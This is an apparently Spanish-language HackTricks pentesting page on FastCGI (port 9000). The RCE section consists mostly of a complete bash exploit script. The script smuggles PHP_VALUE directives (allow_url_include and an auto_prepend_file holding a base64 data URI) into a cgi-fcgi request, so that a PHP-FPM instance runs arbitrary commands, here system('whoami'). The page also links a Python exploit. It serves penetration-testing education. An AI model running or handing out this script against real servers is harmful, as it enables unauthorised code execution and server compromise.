hacktricks/network-services-pentesting/9000-pentesting-fastcgi.md
2023-06-03 01:46:23 +00:00

2.9 KiB

Información Básica

Si desea aprender qué es FastCGI, consulte la siguiente página:

{% content-ref url="pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-fpm-fastcgi.md" %} disable_functions-bypass-php-fpm-fastcgi.md {% endcontent-ref %}

Por defecto, FastCGI se ejecuta en el puerto 9000 y no es reconocido por nmap. Por lo general, FastCGI solo escucha en localhost.

RCE

Es bastante fácil hacer que FastCGI ejecute código arbitrario:

#!/bin/bash

PAYLOAD="<?php echo '<!--'; system('whoami'); echo '-->';"
FILENAMES="/var/www/public/index.php" # Exisiting file path

HOST=$1
B64=$(echo "$PAYLOAD"|base64)

for FN in $FILENAMES; do
    OUTPUT=$(mktemp)
    env -i \
      PHP_VALUE="allow_url_include=1"$'\n'"allow_url_fopen=1"$'\n'"auto_prepend_file='data://text/plain\;base64,$B64'" \
      SCRIPT_FILENAME=$FN SCRIPT_NAME=$FN REQUEST_METHOD=POST \
      cgi-fcgi -bind -connect $HOST:9000 &> $OUTPUT

    cat $OUTPUT
done

También puedes utilizar el siguiente script en Python: https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥